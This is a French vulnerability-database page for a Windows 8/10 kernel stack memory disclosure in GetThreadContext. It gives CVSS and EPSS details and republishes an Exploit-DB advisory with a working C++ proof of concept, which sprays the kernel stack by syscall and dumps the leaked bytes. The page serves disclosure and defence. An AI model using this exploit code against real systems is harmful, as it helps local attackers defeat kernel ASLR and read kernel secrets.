Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-401 |
Missing Release of Memory after Effective Lifetime The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.0 |
4.7 |
MEDIUM |
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack ComplexityThis metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User InteractionThis metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. ScopeFormally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
1.9 |
|
AV:L/AC:M/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 44146
Date de publication : 2018-02-19 23:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
/*
We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a CONTEXT structure to user-mode memory. Two previous bugs in the nearby code area were reported in issues #1177 and #1311 ; in fact, the problem discussed here appears to be a variant of #1177 but with a different trigger (a GetThreadContext() call instead of a generated exception).
The leak was originally detected under the following stack trace:
--- cut ---
kd> k
# ChildEBP RetAddr
00 a5d2b8f4 81ec3e30 nt!RtlpCopyLegacyContextX86+0x16e
01 a5d2b91c 82218aec nt!RtlpCopyExtendedContext+0x70
02 a5d2b96c 8213a22a nt!RtlpWriteExtendedContext+0x66
03 a5d2bd18 822176bc nt!PspGetContextThreadInternal+0x1c6
04 a5d2bd44 81fccca7 nt!NtGetContextThread+0x54
05 a5d2bd44 77a41670 nt!KiSystemServicePostCall
--- cut ---
and more specifically in the copying of the _FLOATING_SAVE_AREA structure when the CONTEXT_FLOATING_POINT flags are set:
--- cut ---
kd> dt _FLOATING_SAVE_AREA
ntdll!_FLOATING_SAVE_AREA
+0x000 ControlWord : Uint4B
+0x004 StatusWord : Uint4B
+0x008 TagWord : Uint4B
+0x00c ErrorOffset : Uint4B
+0x010 ErrorSelector : Uint4B
+0x014 DataOffset : Uint4B
+0x018 DataSelector : Uint4B
+0x01c RegisterArea : [80] UChar
+0x06c Spare0 : Uint4B
--- cut ---
In that structure, the last 32-bit "Spare0" field is left uninitialized and provided this way to the ring-3 client. The overall CONTEXT structure (which contains the FLOATING_SAVE_AREA) is allocated from the stack with an alloca() call in the nt!PspGetContextThreadInternal function:
--- cut ---
PAGE:006BA173 lea edx, [ebp+var_48]
PAGE:006BA176 mov ecx, [ebp+ContextFlags]
PAGE:006BA179 call RtlGetExtendedContextLength(x,x)
PAGE:006BA17E test eax, eax
PAGE:006BA180 js short loc_6BA140
PAGE:006BA182 mov eax, [ebp+var_48]
PAGE:006BA185 call __alloca_probe_16 <============================
PAGE:006BA18A mov [ebp+ms_exc.old_esp], esp
PAGE:006BA18D mov ecx, esp
PAGE:006BA18F mov [ebp+var_54], ecx
PAGE:006BA192 lea eax, [ebp+var_4C]
PAGE:006BA195 push eax
PAGE:006BA196 mov edx, [ebp+ContextFlags]
PAGE:006BA199 call RtlInitializeExtendedContext(x,x,x)
--- cut ---
The "Spare0" field is not pre-initialized or written to by any of the routines that fill out the FLOATING_SAVE_AREA structure. As a result, running the attached proof-of-concept program (designed for Windows 10 32-bit version 1709) reveals 4 bytes of kernel stack memory at offset 0x88 of the output region (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows:
--- cut ---
00000000: 08 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 41 41 41 41 00 00 00 00 ........AAAA....
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................
--- cut ---
Offset 0x88 of the CONTEXT structure on x86 builds indeed corresponds to the 32-bit CONTEXT.FloatSave.Spare0 field. What's most interesting, however, is that the bug only exists on Windows 8 and 10; on Windows 7, we can see that the region obtained through alloca() is instantly zeroed-out with a memset() call:
--- cut ---
PAGE:0065EE86 call RtlGetExtendedContextLength(x,x)
PAGE:0065EE8B cmp eax, ebx
PAGE:0065EE8D jl loc_65EFDE
PAGE:0065EE93 mov eax, [ebp+var_2C]
PAGE:0065EE96 call __alloca_probe_16
PAGE:0065EE9B mov [ebp+ms_exc.old_esp], esp
PAGE:0065EE9E mov [ebp+var_3C], esp
PAGE:0065EEA1 push [ebp+var_2C] ; size_t
PAGE:0065EEA4 push ebx ; int
PAGE:0065EEA5 push [ebp+var_3C] ; void *
PAGE:0065EEA8 call _memset
--- cut ---
The function call is missing from Windows 8 and later systems, but we are not sure why this regression was introduced.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm {mov eax, ApiNumber};
__asm {lea edx, ApiNumber + 4};
__asm {int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Windows 10 32-bit version 1709.
CONST ULONG __NR_NtGdiEngCreatePalette = 0x1296;
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[1024];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Initialize the thread as GUI.
LoadLibrary(L"user32.dll");
CONTEXT ctx;
RtlZeroMemory(&ctx, sizeof(ctx));
ctx.ContextFlags = CONTEXT_FLOATING_POINT;
SprayKernelStack();
if (!GetThreadContext(GetCurrentThread(), &ctx)) {
printf("GetThreadContext failed, %d\n", GetLastError());
return 1;
}
PrintHex((PBYTE)&ctx, sizeof(ctx));
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_10 >> Version 1709
Microsoft>>Windows_8.1 >> Version *
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version -
Microsoft>>Windows_server_2016 >> Version 1709
References